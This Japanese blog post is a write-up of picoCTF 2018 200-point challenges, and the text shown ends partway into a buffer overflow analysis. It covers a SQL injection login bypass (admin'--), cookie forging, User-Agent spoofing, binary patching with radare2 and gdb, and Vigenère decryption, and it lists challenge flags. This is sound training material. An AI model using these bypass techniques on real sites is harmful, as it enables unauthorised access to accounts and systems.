好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 200pt問題のwrite-up

picoCTF 2018 の write-up 200点問題編。150点問題まではこちら。

kusuwada.hatenablog.com

200pt問題、ReversingとBinary以外の問題はサクサクとすすめてすぐ終わったのだけど、ReversingとBinaryでむちゃくちゃ時間かかった。早く次に進みたい一心でやったので、雰囲気で解けてしまったものはそのままにしていたりします。
かかった時間にすると、Rev/Bin以外:10~30分/1問 に対し、 Rev/Bin:3~6時間/1問…。もうRev/Binは 1000点 でも良いくらいだよほんと。
Rev/Binはまず、環境・ツールを整えたりする必要がありそう。今回 be-quick-or-be-dead-1 が解けなかったので、素のMacで戦い抜くのは諦めて Kali Linux をついに導入しました。便利なツールが予め入っていて良さそう。おかげでもう少しRev/Binと付き合っていけそうと思えるくらいになりました。
結果的に be-quick-or-be-dead-1 もpicoCTF の shell server 上で解けたんですけども。いいきっかけになりました。

200ptまでを終えると、スコアは6560pt。2000番台になりました。

f:id:kusuwada:20190304035326p:plain

[Web] Irish Name Repo (200pt)

There is a website running at http://2018shell.picoctf.com:11899 (link). Do you think you can log us in? Try to see if you can login!

指定のリンクに飛ぶとこんなサイトが。俳優さんとか女優さんなんですかね?疎いのでわかりません…。

f:id:kusuwada:20190304034125p:plain

左のメニューから Admin Login を選択すると、login画面に。

f:id:kusuwada:20190304034220p:plain

Web問題のログインなんで、まずは何も考えずに Username に admin'-- と入れてみると通った。

f:id:kusuwada:20190304034235p:plain

SQL injection の初歩的なやつ。

[Web] Mr. Robots (200pt)

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell.picoctf.com:29568 (link)

うーん、ソースコードにもcssにもflagっぽいものはない。
こういう時はタイトルを調べてみよう、ということで robot web とかで調べてみると、robot.txt の存在が。

robots.txtとは検索エンジンクローラー(ロボット)のWEBページのへのアクセスを制限するためのファイルで、ロボットに向けた命令文(アクセスを許可/許可しない)を記述します。

ということで、これっぽい!
早速 url/robots.txt にアクセスすると、書いてありました!クローラーじゃないので、私はアクセスできるはず。

User-agent: *
Disallow: /74efc.html

url/74efc.html にアクセスしてみると、出てきました!

f:id:kusuwada:20190304034336p:plain

[Web] No Login (200pt)

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell.picoctf.com:10573 (link)

adminでloginするとflagが取れるっぽい。サイトはこちら。超あやしいFlagボタンを押してみるとadminじゃないとだめよとメッセージが。

f:id:kusuwada:20190304034455p:plain

じゃあサインインしようと Sign In ボタンを押すと、未実装らしい。

f:id:kusuwada:20190304034508p:plain

うーん、わからなかったのでHintを見ると、Cookieが関係ありそう。予めセットされているCookieを見てもピンとこないし、Flagボタンを押すと設定(チェック?)されるCookie ("session") もValueがHash化されているっぽくて中身がわからない。
cookie, admin という共通点だけですが、当てずっぽで前のLogonの問題で使っていた Name=session, Value=TRUE をセットしてFlagボタンを押してみると、なんと出てきた。

f:id:kusuwada:20190304034532p:plain

[Web] Secret Agent (200pt)

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell.picoctf.com:3827 (link)

No Loginと同じ見た目のサイト。Flagボタンを押すと、

f:id:kusuwada:20190304034605p:plain

ということは、UserAgentをgoogleに偽装すれば良さそう。ということで、Chrome開発者ツールでやってみます。
開発者ツールを開く > 一番右の3点プルダウンメニューから Moer tools > Network conditions
ここでUserAgentをCustomでも選択でも変更できます。今回は選択肢に Googlebot がいたので、試しにこれを使いました。
Googlebot に UserAgentを変更して、再度 Flag ボタンを押すと、Flagが出ました!

f:id:kusuwada:20190304034642p:plain

[Forensics] Truly an Artist (200pt)

Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_1_59a330544b5c06946dfb0617b1c13330.

Meta-Material のリンクから落としてきたファイルは、PNG画像ファイルでした

f:id:kusuwada:20190304034712p:plain

$ file 2018.png 
2018.png: PNG image data, 1200 x 630, 8-bit/color RGB, non-interlaced

この中からFlagを探す問題。
まずは strings コマンド、と思ったら一発で出てきた。

$ strings 2018.png 
IHDR
IDATx
(~~ 中略 ~~)
&tEXtArtist
picoCTF{look_in_image_9f5be995}
IEND

[Reversing] assembly-1 (200pt)

What does asm1(0xc8) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_4_99ac7ff5dfe75417ed616e35bfc2c023.

DLしたsourceはこちら。これに 0xc8 を入力するとどうなる?という問題。

.intel_syntax noprefix
.bits 32
    
.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x9a
    jg  part_a  
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x2c
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xc8
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

もう長いので、実際に実行してしまうのが早そう。
が、環境を準備するのも手間だし、修行がてら読んでみた。

asm1:
    push    ebp                   # base pointer を stackの一番上に
    mov ebp,esp                   # stack pointer を ebp に追従
    cmp DWORD PTR [ebp+0x8],0x9a  # 入力値(0xc8)と 0x9a を比較
    jg  part_a                    # cmpの結果1つ目の値のほうが大きいので、part_aに分岐
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x2c  # 0xc8と0x2cを比較
    jne part_c                    # cmpの結果、一致しないのでpart_cへ分岐
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xc8
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]   # eax に 0xc8 を代入
    add eax,0x3                   # eax に 0x3 を加算、 0xcb
                                  # jmp系命令は呼び出し元に戻ってこないので終了
part_d:
    pop ebp
    ret

flag: 0xcb
結構通らないところが多かった。

[Reversing] be-quick-or-be-dead-1 (200pt)

You find this when searching for some music, which leads you to be-quick-or-be-dead-1. Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c.

1つ目のリンク先がYoutubeだった・・・!2つ目のリンク先はファイル。

$ file be-quick-or-be-dead-1 
be-quick-or-be-dead-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=909cc4117c2c766583b0633d70b84771e50160d6, not stripped

ということで実行ファイルのようです。shell server にもスクリプトがおいてあるので、shell server 側で実行してみる。

$ ./be-quick-or-be-d
ead-1
Be Quick Or Be Dead 1                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
You need a faster machine. Bye bye.                                                           

速くしないと死んじゃう。ナンノコッチャ。問題のタイトルにもなっていますが。
Hintを見てみると

What will the key finally be?

最終的に key は何になるか? うーん、ナンノコッチャ。一応PVを見て、歌詞も読んでみたけど、蛇がなんちゃら quick or dead!! の繰り返しでようわからん。

Reversingなので、dumpファイルを見てみる。
今回は、Hopper というツールのDemo版を使ってみました。macに直接installして使ってみています。
Demo版だと30分の連続使用しかできないので、解読に時間がかかるとすぐ落ちます。あとはデバッガ機能は有償版じゃないと無いみたいです。
main関数から。

 main:
0000000000400827         push       rbp                                         ; End of unwind block (FDE at 0x400b7c), Begin of unwind block (FDE at 0x400b9c), DATA XREF=_start+29
0000000000400828         mov        rbp, rsp
000000000040082b         sub        rsp, 0x10
000000000040082f         mov        dword [rbp+var_4], edi
0000000000400832         mov        qword [rbp+var_10], rsi
0000000000400836         mov        eax, 0x0
000000000040083b         call       header                                      ; header
0000000000400840         mov        eax, 0x0
0000000000400845         call       set_timer                                   ; set_timer
000000000040084a         mov        eax, 0x0
000000000040084f         call       get_key                                     ; get_key
0000000000400854         mov        eax, 0x0
0000000000400859         call       print_flag                                  ; print_flag
000000000040085e         mov        eax, 0x0
0000000000400863         leave
0000000000400864         ret
                        ; endp
0000000000400865         align      16                                          ; End of unwind block (FDE at 0x400b9c)
  • header(): "Be Quick Or Be Dead 1" の表示
  • set_timer():
    • 詳細は見きれていないが、多分タイマーのセット
    • "You need a faster machine. Bye bye."の表示
  • get_key(): "Calculating key..." の表示
    • calucurate_key(): 下記に詳細
    • "Done calculating key" の表示
  • print_flag(): flagの出力。下記詳細

先程実行したときは、get_key() の中の、"Calculating key..." の表示はされているものの、その後に出てくるはずの "Done calculating key" は出てきませんでした。これが出てくる前に時間切れとなって終了になっています。
時間切れで表示される "You need a faster machine. Bye bye." は、 set_timer() から呼ばれる alarm_handler() 関数で表示されており、その後プロセスが終了するようになっています。

calcurate_key関数はこんな感じ。

                     calculate_key:
0000000000400706         push       rbp                                         ; End of unwind block (FDE at 0x400abc), Begin of unwind block (FDE at 0x400adc), CODE XREF=get_key+19
0000000000400707         mov        rbp, rsp
000000000040070a         mov        dword [rbp+var_4], 0x6fd47e3c

                     loc_400711:
0000000000400711         add        dword [rbp+var_4], 0x1                      ; CODE XREF=calculate_key+22
0000000000400715         cmp        dword [rbp+var_4], 0xdfa8fc78
000000000040071c         jne        loc_400711

000000000040071e         mov        eax, dword [rbp+var_4]
0000000000400721         pop        rbp
0000000000400722         ret
                        ; endp

謎のマジックナンバー 0x6fd47e3c0xdfa8fc78 が。
初期値 0x6fd47e3c の変数に対して、0xdfa8fc78になるまで 1 を足しまくっているように見える。ここが時間がかかっている原因の様子。

以上より、方法としてはぱっと3パターンありそう。(もっともっとあると思う)

  1. set_timer() を呼ばないように書き換え
  2. set_timer() で設定している秒数を伸ばすよう書き換え
  3. calcurate_key() の高速化

何れにせよ、バイナリを書き換えて実行する必要がある?

ここで方法がわからず。皆さんのwrite-upを見てみると radere2 というのがよく使われている様子。
picoCTF の shell server には install されていなかったので、ついにlocalで ELF 64-bit LSB executable を動かす時が来てしまったようです。なんとかgdbだけでやりきる方法もありそう。

ということで、今回は kali linuxMacVirtualBox に入れて見ました。最新のkaliだと、初期状態ですでに radare2 が入っているのでよろしい。

$ r2 -v
radare2 3.1.2 0 @ linux-x86-64 git.3.1.2
commit: HEAD build: 2018-12-11__11:34:51

1. set_timer() を呼ばないように書き換え

今回は1の方針で書き換えをしてみる。まずはデバッグ実行ありのモード (-d option) で該当プログラムを立ち上げ。

# r2 -d be-quick-or-be-dead-1 
Process with PID 2450 started...
= attach 2450 2450
bin.baddr 0x00400000
Using 0x400000
asm.bits 64

分析してもらいます。

[0x7f68ebf92090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 2450 2450
2450

main関数があるのは確認済みなのでmain関数に飛び、disassemble結果を表示します。

[0x7f68ebf92090]> s main
[0x00400827]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400827      55             push rbp
|           0x00400828      4889e5         mov rbp, rsp
|           0x0040082b      4883ec10       sub rsp, 0x10
|           0x0040082f      897dfc         mov dword [local_4h], edi   ; argc
|           0x00400832      488975f0       mov qword [local_10h], rsi  ; argv
|           0x00400836      b800000000     mov eax, 0
|           0x0040083b      e8a9ffffff     call sym.header
|           0x00400840      b800000000     mov eax, 0
|           0x00400845      e8f8feffff     call sym.set_timer
|           0x0040084a      b800000000     mov eax, 0
|           0x0040084f      e842ffffff     call sym.get_key
|           0x00400854      b800000000     mov eax, 0
|           0x00400859      e863ffffff     call sym.print_flag
|           0x0040085e      b800000000     mov eax, 0
|           0x00400863      c9             leave
\           0x00400864      c3             ret

色付きでめっちゃわかりやすい・・・。感動。もう絶対アセンブリ系出たらこれ使うわ。

f:id:kusuwada:20190304034806p:plain

set_timer() を呼ばないように書き換え

を実現するために、set_timerを呼び出している行に移動します。
wao コマンドで、デバッグ時のコマンド書き換えができるようなので、これを使います。

wao[?] op modify opcode (change conditional of jump. nop, etc)

今回は nop が他に指定がいらないので簡単そう。書き換えたコードは、再度 pdf コマンドで確認できます。

[0x00400827]> s 0x00400845
[0x00400845]> wao nop
[0x00400845]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400827      55             push rbp
|           0x00400828      4889e5         mov rbp, rsp
|           0x0040082b      4883ec10       sub rsp, 0x10
|           0x0040082f      897dfc         mov dword [local_4h], edi   ; argc
|           0x00400832      488975f0       mov qword [local_10h], rsi  ; argv
|           0x00400836      b800000000     mov eax, 0
|           0x0040083b      e8a9ffffff     call sym.header
|           0x00400840      b800000000     mov eax, 0
|           0x00400845      90             nop
..
|           0x0040084a      b800000000     mov eax, 0
|           0x0040084f      e842ffffff     call sym.get_key
|           0x00400854      b800000000     mov eax, 0
|           0x00400859      e863ffffff     call sym.print_flag
|           0x0040085e      b800000000     mov eax, 0
|           0x00400863      c9             leave
\           0x00400864      c3             ret

デバッグモードの実行は dc コマンド。

dc[?] Continue execution

[0x00400845]> dc
Be Quick Or Be Dead 1
=====================

Calculating key...
Done calculating key
Printing flag:
picoCTF{why_bother_doing_unnecessary_computation_27f28e71}

ちょい待ったらちゃんとflagが出ました!
めっちゃ快適・・・。なんかReverse問題解くのが少し楽しくなりそう。少し…。

3. calcurate_key() の高速化

調子に乗って、3. calcurate_key() の高速化 もやってみちゃいます。

calcurate_key まで飛びます。

[0x00400827]> s sym.get_key
[0x00400796]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x40084f)
|           0x00400796      55             push rbp
|           0x00400797      4889e5         mov rbp, rsp
|           0x0040079a      bf88094000     mov edi, str.Calculating_key... ; 0x400988 ; "Calculating key..."
|           0x0040079f      e88cfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007a4      b800000000     mov eax, 0
|           0x004007a9      e858ffffff     call sym.calculate_key
|           0x004007ae      89050c092000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010c0:4]=0
|           0x004007b4      bf9b094000     mov edi, str.Done_calculating_key ; 0x40099b ; "Done calculating key"
|           0x004007b9      e872fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007be      90             nop
|           0x004007bf      5d             pop rbp
\           0x004007c0      c3             ret
[0x00400796]> s sym.calculate_key
[0x00400706]> pdf
/ (fcn) sym.calculate_key 29
|   sym.calculate_key ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from sym.get_key (0x4007a9)
|           0x00400706      55             push rbp
|           0x00400707      4889e5         mov rbp, rsp
|           0x0040070a      c745fc156586.  mov dword [local_4h], 0xeb866515
|       .-> 0x00400711      8345fc01       add dword [local_4h], 1
|       :   0x00400715      817dfc78fca8.  cmp dword [local_4h], 0xdfa8fc78
|       `=< 0x0040071c      75f3           jne 0x400711
|           0x0040071e      8b45fc         mov eax, dword [local_4h]
|           0x00400721      5d             pop rbp
\           0x00400722      c3             ret

0x0040070a の時点で 1 を足したら 0xdfa8fc78 になるようにしておけば高速化されるはず。

[0x00400706]> s 0x0040070a
[0x0040070a]> pd 1
|           0x0040070a      c745fc156586.  mov dword [local_4h], 0xeb866515
[0x0040070a]> wa mov dword [rbp-0x4], 0xdfa8f8c77
Written 7 byte(s) (mov dword [rbp-0x4], 0xdfa8f8c77) = wx c745fc778c8ffa

この状態で上と同じく dc で実行すると、flagが取れました。

gdbだけでやりきりたい!

ちなみにgdbだけでやりきる方法として、下記を参考に途中で受けるSIGNALを全部無視する設定にして実行してみた。
GDB: 5.3 シグナル

$ gdb be-quick-or-be-dead-1
(gdb) handle all ignore
~~中略~~
Signal        Stop  Print   Pass to program Description
~~中略~~
SIGALRM       No    No  No      Alarm clock
~~中略~~
(gdb) run                                                                                                       
Starting program: /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c/be-quick-or-be-dead-1      
Be Quick Or Be Dead 1                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
Done calculating key                                                                                            
Printing flag:                                                                                                  
picoCTF{why_bother_doing_unnecessary_computation_27f28e71}                                                      
[Inferior 1 (process 11448) exited normally]

取れた٩(๑❛ᴗ❛๑)۶ 
今回は、radare2実行時に SIGALRM が呼ばれることがわかったので上記出力ではSIGALRMをチェックしていますが、コマンドとしては SIGNAL全部無視して なので何者にも邪魔されずプログラムが走りきるはず。
この方法なら picoCTF の shell server 上でも動かせたので、特別なlocal環境は不要でした。

[Crypto] blaise's cipher (200pt)

My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell.picoctf.com 11281.

指定のurlにアクセスしてみる。

$ nc 2018shell.picoctf.com 11281
Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.

Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.

Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72}

Tnj Gimjyexj nivmpr mftnki l rkuftgytot kzr hjtnm jickueiusllrd dtxtyg. Tteej fftntc ati xazmpmgytcofy Cnfclkx Wuzbtdmj Oojldot (Qpwox Naxwzlr) hllrjo tnj Gimjyexj nivmpr asmrkfvahqp it mts 1868 vnpck "Yse Gqahggpt Inahkw" tn g hsiricet'x xamfkitj. Tn 1917, Yhtetytfoh Lmkwtcgs oeyhcihjo tnj Gimjyexj nivmpr gx "tmvtdsogwe uk ergsdlgytot". Ysiy wppayltoty wgx yoz ipskwgej. Hsaxqps Hfmbglp iy pyocs eo nfge hwzkks l vgwtaty zf zmp cousex fd egwwy gx 1854; socjgex, mp doiy't vzmloxs hox hoxp. Vayndko jytowple gcoqj ehk htpnjc ati auhqtsnjo tnj eeimyiwzp it yse 19zm netyfre. Jget gpfuwp tnnd, tntfgn, xzmk xvirqpd iwjpzfyarddty hzuri zcifdiusllrd mrkfv tnj nivmpr os ehk 16ys ckseuxd.

Nreueomwlpnnn srnoe xzwe axpd gx l cgqnurfeius lij gj tnj Dwoxd Axrj bkyheks 1914 lnj 1940.
Yse Bnretjce inahkw ts ynxprj pnuzrh zt me g kteri nivmpr ok tt ox fski tn ityjasntoty woys cousex itsqx. Ehk Hznljoexfee Yyltkx zf Grprohl, fuw pxgralk, zdej f mrgxd cousex itsq yz isuwesjyt zmp Volpnkwp cousex ifrosr tnj Lmkwtcgs Nibnw Wgw. Ehk Hznljoexfny'y rpsyfrey bprk klr lwzm yjnrky lnj yse Astot wpgaqlrrd nrghvej yseow xeyxlgkx. Ehxtfgntft zmp wgw, ehk Hznljoexfee rjldkwdhou arorlroqj rkqtej zaot ysrkj vee usrgxps, "Sfycnjdtkw Mlakq", "Curalkyp Voheoxd" lnj, fd tnj hax hlmk yz a iqzsk, "Hzmk Wptxnmuznzn".

Mnwbkwe Vkwyas yciki eo xjaaow ehk gcoqjy cousex (hcegytnm yse Bjcngr–Gimjyexj nivmpr os 1918), muz, sz mgyeex bsaz mp doi, ehk htpnjc wgx dtoqw vaqyexfmlk yz cxdatgsllexts. Bjcngr'd wuwv, hubpvkw, pvkseugqwy rjo tu yse usp-torp pgi, l tnjzrkytcgqwy asmrkfvahqp cousex.

あれ、このパターンさっきもやったぞ。また換字暗号かな?
そしてなんだかFlagっぽい形式の部分が。 pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72}

もう一つのヒントとして、blaise という人が開発した暗号、というのがあった。知らないぞ?と思い、ググってみる。もちろん write-up が引っかからないように blaise cipher -picoCTFググる
と、ヴィジュネル暗号がヒット。なんと、ヴィジュネルさん、ブレーズ・ド・ヴィジュネル という名前らしい。知らなかった!

ヴィジュネル暗号 - Wikipedia

ヴィジュネル暗号では、鍵の周期とずらす数(鍵)がわかっていないと解読できない。今回は、flagっぽい部分を見て、鍵を推測する。

plain: picoCTF encrypt: pohzCZK

なので、ずらし幅は 0, 6, 5, 11, 0, 6, 5 となり、 [0, 6, 5, 11] の4文字周期と考えられる。
あとは、これを原文に突っ込むプログラムを書いて終わり。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
import pprint

## solve Vigenere cipher

encrypted_file = "encrypted.txt"
key = "flag"

def vigenere(c, shift):
    return alphabet[(alphabet.index(c) - alphabet.index(shift)) % 26]

with open(encrypted_file, "r") as f:
    encrypted = f.read()

alphabet = list(string.ascii_lowercase)

plain = ""
count = 0
for c in encrypted:
    shift = key[count % len(key)]
    if c.isupper():
        plain += vigenere(c.lower(), shift).upper()
        count += 1
    elif c.islower():
        plain += vigenere(c, shift)
        count += 1
    else:
        plain += c
print(plain)

keyは4文字周期でどこから始まるかわからなかったため、並べ替えてそれっぽくなるのを探しました。
というか、候補が [a, g, f, l] だったので flag だな、と。

出力結果

$ python solve.py 
The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.

What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.

Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_5352bf72}

The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.

Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".

Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.

全文やる必要はまったくなかったけど。

[Binary] buffer overflow 1 (200pt)

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613 on the shell server. Source.

リンク先のプログラムはこちら

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

実行ファイルはこちら

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped

こちらも前回同様、同じフォルダにある flag.txt を見に行くようなので shell server 上で実行。
win() 関数を呼び出すことができれば、flagが表示されるようです。今回も gets(buf) の部分に buffer overflow の脆弱性が。
まずは buffer overflow させる input で実行してみる。

$ ./vuln                
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa         
Okay, time to return... Fingers Crossed... Jumping to 0x61616161                                                
Segmentation fault (core dumped)                            

Junping to の向き先が入力の a の16進数 0x61 で埋まっている。溢れたらreturn addressを上書きするらしい。
ちなみに、通常のinputだと。

$ ./vuln                
Please enter your string:                                                                                       
test                                                                                                            
Okay, time to return... Fingers Crossed... Jumping to 0x80486b3  

Jumping to はちゃんとアドレスっぽい値になっている。
ので、 win() 関数のアドレスでreturn値を上書きし、直後に呼び出してやれば良さそう。

…どうやって?

まず、elfファイルの解析を真面目にやったことがあまりない & PC移行したてでまっ更だったので、elfファイルの解析に便利なコマンド readelfobjdumpMac上で動かすよう環境整備。

Mac (OS X) 環境に binutils を入れる - Qiita

セットアップにちょい詰まったのでメモっておいた。

Hintにエンディアンについて触れてあったので、それの確認も込みで readelf コマンドで詳細を確認。

$ greadelf -h vuln
ELF ヘッダ:
  マジック:  7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF32
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Intel 80386
  バージョン:                        0x1
  エントリポイントアドレス:          0x80484d0
